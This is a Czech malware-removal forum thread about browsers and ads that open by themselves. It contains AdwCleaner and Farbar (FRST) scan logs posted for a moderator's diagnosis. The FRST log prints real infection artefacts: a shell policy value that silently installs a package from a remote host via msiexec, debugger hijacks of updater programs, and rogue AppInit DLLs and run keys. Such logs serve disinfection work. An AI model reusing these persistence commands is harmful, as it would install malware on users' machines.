[-] Klíč smazán: HKLM\SOFTWARE\startpageing123Software
[-] Klíč smazán: HKLM\SOFTWARE\msServer
[-] Klíč smazán: HKLM\SOFTWARE\{84416237-6490-494D-9AD6-4994DD978971}
[-] Klíč smazán: HKLM\SOFTWARE\Speedownloader0099
[-] Klíč smazán: HKLM\SOFTWARE\ourluckysitesSoftware
[-] Klíč smazán: HKLM\SOFTWARE\Eggper
[-] Klíč smazán: HKLM\SOFTWARE\Baglook
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5B363E1D-8C36-4458-BAE4-D5081999E094}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Flash-Enhancer
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Lightspark
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SiteFinder
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\11598763487076930564
[#] Klíč smazán po restartu: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\flash-Enhancer
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{59B5A9CD-253D-4C41-A073-B387D4C9672D}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{97D2FBF4-72CF-4DD6-8DA8-26710BC7BE71}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{51639FCA-678F-4D71-8044-E16E3D49187F}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B7CB7055-EFAE-4CD2-928A-15DB5F4FF7C7}
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{118B6258-BF13-47C9-8D46-B2A349196B5D}
[#] Klíč smazán po restartu: [x64] HKCU\Software\Microsoft\Internet Explorer\InternetRegistry\REGISTRY\USER\S-1-5-21-2179928940-599623959-1496544258-1002\Software\SweetIM
[#] Klíč smazán po restartu: [x64] HKCU\Software\AmiExt
[#] Klíč smazán po restartu: [x64] HKCU\Software\Conduit
[#] Klíč smazán po restartu: [x64] HKCU\Software\Installer
[#] Klíč smazán po restartu: [x64] HKCU\Software\SafetyNut
[#] Klíč smazán po restartu: [x64] HKCU\Software\Softonic
[#] Klíč smazán po restartu: [x64] HKCU\Software\System Healer
[#] Klíč smazán po restartu: [x64] HKCU\Software\Amigo
[#] Klíč smazán po restartu: [x64] HKCU\Software\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[#] Klíč smazán po restartu: [x64] HKCU\Software\SAFETYNUT
[#] Klíč smazán po restartu: [x64] HKCU\Software\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[#] Klíč smazán po restartu: [x64] HKCU\Software\MICROSOFT\wewewe
[#] Klíč smazán po restartu: [x64] HKCU\Software\WinSnare
[#] Klíč smazán po restartu: [x64] HKCU\Software\PopWnd
[#] Klíč smazán po restartu: [x64] HKCU\Software\deskapp
[#] Klíč smazán po restartu: [x64] HKCU\Software\Hotspot
[#] Klíč smazán po restartu: [x64] HKCU\Software\Speedownloader0099
[#] Klíč smazán po restartu: [x64] HKCU\Software\YeaDesktop
[#] Klíč smazán po restartu: [x64] HKCU\Software\Baglook
[#] Klíč smazán po restartu: [x64] HKCU\Software\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\{94ebd7b5-82ae-449t-b679-3d04078ed154}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\ecb`nl
[-] Klíč smazán: [x64] HKLM\SOFTWARE\InterSect Alliance
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Speedownloader0099
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\DMunversion
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\{6711eba6-cf08-4edw-9528-86004fa424bb}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Searchy
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{24F5E422-6A70-4FAA-8CAD-E23D5DC1DAE6}
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{DD0688A5-FC8B-4E93-A485-CBF606A56D49}
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\789034A89BAC50E4782F0A7BDBF75632
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\A97CEC23332751B47BA4B95BAA50C9D0
[-] Klíč smazán: HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\F928123A039649549966D4C29D35B1C9
[#] Klíč smazán po restartu: HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\F928123A039649549966d4C29D35B1C9
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\00E944CB89111313EAF35A0553F547F9
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0CFE535C35F99574E8340BFA75BF92C2
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\0E12F736682067FDE4D1158D5940A82E
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\1A24B5BB8521B03E0C8D908F5ABC0AE6
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\261F213D1F55267499B1F87D0CC3BCF7
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\2B0D56C4F4C46D844A57FFED6F0D2852
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\49D4375FE41653242AEA4C969E4E65E0
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\53F55AF3F4049ED3FA6EA6F88E414E24
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\68E4BF4B11615E03C97732FD581AB607
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6AA0923513360135B272E8289C5F13FA
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\6F7467AF8F29C134CBBAB394ECCFDE96
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\741B4ADF27276464790022C965AB6DA8
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\75D5168E5E176C24981B4E5DBD991078
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\7DE196B10195F5647A2B21B761F3DE01
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\8CE3DDAB2D152683FBCEB4866BCD2B0F
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\922525DCC5199162F8935747CA3D8E59
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\9D4F5849367142E4685ED8C25E44C5ED
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A5875B04372C19545BEB90D4D606C472
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\A876D9E80B896EC44A8620248CC79296
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\AF6CE16AFEA5C9A39B766468A8B35C21
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B66FFAB725B92594C986DE826A867888
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\BCDA179D619B91648538E3394CAC94CC
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\D677B1A9671D4D4004F6F2A4469E86EA
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\DD1402A9DD4215A43ABDE169A41AFA0E
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\E36E114A0EAD2AD46B381D23AD69CDDF
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\EF8E618DB3AEDFBB384561B5C548F65E
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\F754C503375A13344B22388E18DFE87E
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\FB1E44269B58F433A8C8E671E37CFDCF
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\120DFADEB50841F408F04D2A278F9509
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\B5BAE2ED018083A4C8DA86D6E3F4B024
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\789034A89BAC50E4782F0A7BDBF75632
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\A97CEC23332751B47BA4B95BAA50C9D0
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\F928123A039649549966D4C29D35B1C9
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\F928123A039649549966d4C29D35B1C9
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\789034A89BAC50E4782F0A7BDBF75632
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\A97CEC23332751B47BA4B95BAA50C9D0
[-] Klíč smazán: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\F928123A039649549966D4C29D35B1C9
[#] Klíč smazán po restartu: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\F928123A039649549966d4C29D35B1C9
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [BCU]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run [mobilegeni daemon]
[-] Hodnota smazána: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run [NextLive]
[#] Hodnota smazána po restartu: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [NextLive]
[#] Hodnota smazána po restartu: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [NextLive]
[-] Hodnota smazána: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run [msiql]
[#] Hodnota smazána po restartu: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [msiql]
[#] Hodnota smazána po restartu: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [msiql]
[-] Hodnota smazána: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run [YeaDesktop]
[#] Hodnota smazána po restartu: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [YeaDesktop]
[#] Hodnota smazána po restartu: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [YeaDesktop]
[-] Hodnota smazána: HKU\S-1-5-21-2179928940-599623959-1496544258-1002\Software\Microsoft\Windows\CurrentVersion\Run [background_fault]
[#] Hodnota smazána po restartu: HKCU\Software\Microsoft\Windows\CurrentVersion\Run [background_fault]
[#] Hodnota smazána po restartu: [x64] HKCU\Software\Microsoft\Windows\CurrentVersion\Run [background_fault]
[-] Klíč smazán: HKLM\SOFTWARE\Classes\CLSID\ForeceRemove
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Internet Explorer\SEARCHSCOPES\IELNKSRCH
[-] Klíč smazán: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\MobogenieAdd
[-] Hodnota smazána: HKCU\Environment [SNF]
[-] Hodnota smazána: HKCU\Environment [SNP]
[#] Klíč smazán po restartu: HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\EVENTLOG\APPLICATION\Application Hosting
[#] Klíč smazán po restartu: HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SEARCHSCOPES\IELNKSRCH
[#] Klíč smazán po restartu: HKLM\SOFTWARE\Microsoft\{1f7ee1a8-4436-4ffc-b97b-b5b01e87d3d2}
[-] Klíč smazán: HKLM\SOFTWARE\CLASSES\APPID\56BF5154-0B48-4ADB-902A-6C8B12E270D9
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [WinSAPSvc]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [Kitty]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [BIT]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost [3DM]
[-] Hodnota smazána: HKLM\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION [YeaDesktop.exe]
[-] Klíč smazán: HKLM\SYSTEM\CurrentControlSet\Control\iSafeKrnlBoot
***** [ Prohlížeče ] *****
*************************
:: "Tracing" klíče smazány
:: Winsock nastavení vyčištěno
*************************
C:\AdwCleaner\AdwCleaner[C0].txt - [34288 Bajty] - [03/07/2017 10:38:30]
C:\AdwCleaner\AdwCleaner[R0].txt - [61425 Bajty] - [29/01/2014 16:23:02]
C:\AdwCleaner\AdwCleaner[R1].txt - [3725 Bajty] - [31/01/2014 11:24:17]
C:\AdwCleaner\AdwCleaner[R2].txt - [16623 Bajty] - [23/04/2015 21:05:28]
C:\AdwCleaner\AdwCleaner[S0].txt - [62509 Bajty] - [29/01/2014 16:24:54]
C:\AdwCleaner\AdwCleaner[S1].txt - [3798 Bajty] - [31/01/2014 11:25:34]
C:\AdwCleaner\AdwCleaner[S2].txt - [16054 Bajty] - [23/04/2015 21:23:31]
C:\AdwCleaner\AdwCleaner[S3].txt - [32507 Bajty] - [03/07/2017 10:12:39]
########## EOF - C:\AdwCleaner\AdwCleaner[C0].txt - [34878 Bajty] ##########
-
Rudy
- Site Admin
- Příspěvky: 118275
- Registrován: 30 říj 2003 13:42
- Bydliště: Plzeň
- Kontaktovat uživatele:
Re: Automatické otevírání prohlížečů a reklam
Dejte nový log FRST.
Dotazy a logy vkládejte pouze do vašich threadů. Soukromé zprávy, icq a e-maily neslouží k řešení vašich problémů.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Podpořte, prosím, naše fórum : https://platba.viry.cz/payment/.
Navštivte:
e-mail: rudy(zavináč)forum.viry.cz
Varování: Před odvirováním PC si udělejte zálohy svých důležitých dat (pošta, kontakty, dokumenty, fotografie, videa, hudba apod.). Virus mimo svých "viditelných" aktivit může poškodit systém!
Po dořešení vašeho problému bude vlákno zamknuto. Stejně tak tehdy, pokud bude nečinné více než 14dnů. Pokud budete chtít vlákno aktivovat, napište mi na mail uvedený výše.
Re: Automatické otevírání prohlížečů a reklam
Posílám log.
Scan result of Farbar Recovery Scan Tool (FRST.txt) (x64) Version: 09-08-2014 (ATTENTION: ====> FRST version is 1059 days old and could be outdated)
Ran by Uzivatel (administrator) on UZIVATEL-PC on 03-07-2017 21:38:31
Running from C:\Users\Uzivatel\Desktop\FRST-OlderVersion
Platform: Windows 7 Home Premium Service Pack 1 (X64) OS Language: Čeština (Česká republika)
Internet Explorer Version 11
Boot Mode: Normal
The only official download link for FRST:
Download link for 32-Bit version: http://www.bleepingcomputer.com/downloa ... ool/dl/81/
Download link for 64-Bit Version: http://www.bleepingcomputer.com/downloa ... ool/dl/82/
Download link from any site other than Bleeping Computer is unpermitted or outdated.
See tutorial for FRST: http://www.geekstogo.com/forum/topic/33 ... scan-tool/
==================== Processes (Whitelisted) =================
(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe
(AMD) C:\Windows\System32\atiesrxx.exe
(AMD) C:\Windows\System32\atieclxx.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe
(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(TODO: <Company name>) C:\ProgramData\AppmallosayoV\AppmallosayoV.exe
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe
(Microsoft Corporation) C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe
(Nero AG) C:\Program Files (x86)\Common Files\Nero\Nero BackItUp 4\NBService.exe
() C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe
(PACE Anti-Piracy, Inc.) C:\Program Files (x86)\Common Files\PACE\Services\LicenseServices\LDSvc.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
() C:\Windows\SysWOW64\PnkBstrA.exe
(Microsoft Corporation) C:\Program Files\Microsoft Security Client\msseces.exe
(Advanced Micro Devices, Inc.) C:\Program Files\AMD\CNext\CNext\cnext.exe
(Microsoft Corporation) C:\Program Files (x86)\Microsoft SQL Server\90\Shared\sqlbrowser.exe
() C:\Windows\Temp\00010362\conhost.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
(Hewlett-Packard Company) C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeter.exe
(Skype Technologies S.A.) C:\Program Files (x86)\Skype\Phone\Skype.exe
(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
(PYXQ) C:\Program Files\FNJLTCS41J\FNJLTCS41.exe
(PYXQ) C:\Program Files\SWG63XXW0V\SWG63XXW0.exe
() C:\Program Files\G05HC4PZV0\M20DKGF77.exe
(N9@XW9) C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(WIBU-SYSTEMS AG) C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe
() C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\Upd.exe
(Apple Inc.) C:\Program Files (x86)\iTunes\iTunesHelper.exe
(Safer Networking Ltd.) C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\MOM.exe
(Adobe Systems, Incorporated) C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AdobeGCClient.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\IPC\AdobeIPCBroker.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\inetsrv\w3wp.exe
(Advanced Micro Devices Inc.) C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\CCC.exe
() C:\Windows\Temp\g985A.tmp.exe
() C:\Windows\Temp\g985B.tmp.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ADS\Adobe Desktop Service.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
() C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSync\CoreSync.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\CCXProcess.exe
(Node.js) C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CCXProcess\libs\node.exe
(Adobe Systems Incorporated) C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\HEX\Adobe CEF Helper.exe
(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
==================== Registry (Whitelisted) ==================
(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
HKLM\...\Run: [Skytel] => C:\Program Files\Realtek\Audio\HDA\Skytel.exe [1833504 2009-08-18] (Realtek Semiconductor Corp.)
HKLM\...\Run: [RtHDVCpl] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [8067616 2009-08-18] (Realtek Semiconductor)
HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [508128 2016-03-22] (Adobe Systems Incorporated)
HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1353680 2016-11-14] (Microsoft Corporation)
HKLM\...\Run: [StartCN] => C:\Program Files\AMD\CNext\CNext\cnext.exe [4926664 2016-02-26] (Advanced Micro Devices, Inc.)
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [2780112 2017-01-20] (Malwarebytes)
HKLM\...\Run: [Login] => C:\Windows\Temp\00010362\conhost.exe [1870848 2017-06-29] () <===== ATTENTION
HKLM-x32\...\Run: [Uninstall0001] => C:\Program Files (x86)\Common Files\Totem Shared\Uninstall0001\upd.exe [57344 2010-07-25] ()
HKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2014-10-11] (Apple Inc.)
HKLM-x32\...\Run: [seznam-listicka-distribuce] => C:\Program Files (x86)\Seznam.cz\distribution\szninstall.exe [1062472 2013-05-16] ()
HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [157480 2014-10-15] (Apple Inc.)
HKLM-x32\...\Run: [Adobe Creative Cloud] => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\ACC\Creative Cloud.exe [2313408 2016-04-07] (Adobe Systems Incorporated)
HKLM-x32\...\Run: [SunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [334896 2015-06-08] (Oracle Corporation)
HKLM-x32\...\Run: [PlaysTV] => "C:\Program Files (x86)\Raptr Inc\PlaysTV\playstv_launcher.exe" --startup
HKLM-x32\...\Run: [StartCCC] => C:\Program Files (x86)\AMD\ATI.ACE\Core-Static\amd64\CLIStart.exe [767176 2015-08-04] (Advanced Micro Devices, Inc.)
Winlogon\Notify\igfxcui: C:\Windows\system32\igfxdev.dll (Intel Corporation)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [LightScribe Control Panel] => C:\Program Files (x86)\Common Files\LightScribe\LightScribeControlPanel.exe [2736128 2010-08-16] (Hewlett-Packard Company)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [RGSC] => C:\Program Files (x86)\Rockstar Games\Rockstar Games Social Club\RGSCLauncher.exe /silent
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.autoupdate] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\szninstall.exe" -c
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [cz.seznam.software.szndesktop] => "C:\Users\Uzivatel\AppData\Roaming\Seznam.cz\bin\wszndesktop.exe" -q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [ooVoo.exe] => C:\program files (x86)\oovoo\oovoo.exe /minimized
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [Skype] => C:\Program Files (x86)\Skype\Phone\Skype.exe [27716568 2017-05-04] (Skype Technologies S.A.)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [QKRPRNSOSV.exe] => C:\Windows\Temp\0e-988c5-729-c8f8e-960e0de90526f\QKRPRNSOSV.exe [75264 2017-06-29] () <===== ATTENTION
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [7FM3ZXLNA1ZP1PG] => C:\Program Files\FNJLTCS41J\FNJLTCS41.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [6VPXZBGTWPME1EW] => C:\Program Files\SWG63XXW0V\SWG63XXW0.exe [1040384 2017-06-29] (PYXQ)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [5Q7U43XKBO736KK] => C:\Program Files\G05HC4PZV0\M20DKGF77.exe [1040384 2017-06-29] ()
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Run: [G9CQIRQT0759DOK] => C:\Program Files\I59ZA8EZ7K\91SNIEC4V.exe [1040384 2017-06-29] (N9@XW9)
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\Policies\system: [Shell] explorer.exe,msiexec.exe /i http://point.ltdmsjq.com/?data=zDlkMj8y ... Y4NWU2Rq== /q
HKU\S-1-5-21-2179928940-599623959-1496544258-1002\...\MountPoints2: {a0a4aba1-0a8a-11e7-9421-6cf0491de2a6} - J:\setup.exe
AppInit_DLLs: C:\ProgramData\AppmallosayoV\Voltdax.dll => C:\ProgramData\AppmallosayoV\Voltdax.dll [343552 2017-06-29] ()
AppInit_DLLs-x32: C:\ProgramData\AppmallosayoV\Grave-Fan.dll => C:\ProgramData\AppmallosayoV\Grave-Fan.dll [246784 2017-06-29] ()
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\CodeMeter Control Center.lnk
ShortcutTarget: CodeMeter Control Center.lnk -> C:\Program Files (x86)\CodeMeter\Runtime\bin\CodeMeterCC.exe (WIBU-SYSTEMS AG)
Startup: C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\OpenOffice.org 3.2.lnk
ShortcutTarget: OpenOffice.org 3.2.lnk -> C:\Program Files (x86)\OpenOffice.org 3\program\quickstart.exe ()
ShellIconOverlayIdentifiers: AccExtIco1 -> {AB9CF9F8-8A96-4F9D-BF21-CE85714C3A47} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll ()
ShellIconOverlayIdentifiers: AccExtIco2 -> {853B7E05-C47D-4985-909A-D0DC5C6D7303} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll ()
ShellIconOverlayIdentifiers: AccExtIco3 -> {42D38F2E-98E9-4382-B546-E24E4D6D04BB} => C:\Program Files (x86)\Adobe\Adobe Creative Cloud\CoreSyncExtension\CoreSync_x64.dll ()
ShellIconOverlayIdentifiers: SkyDrive1 -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => No File
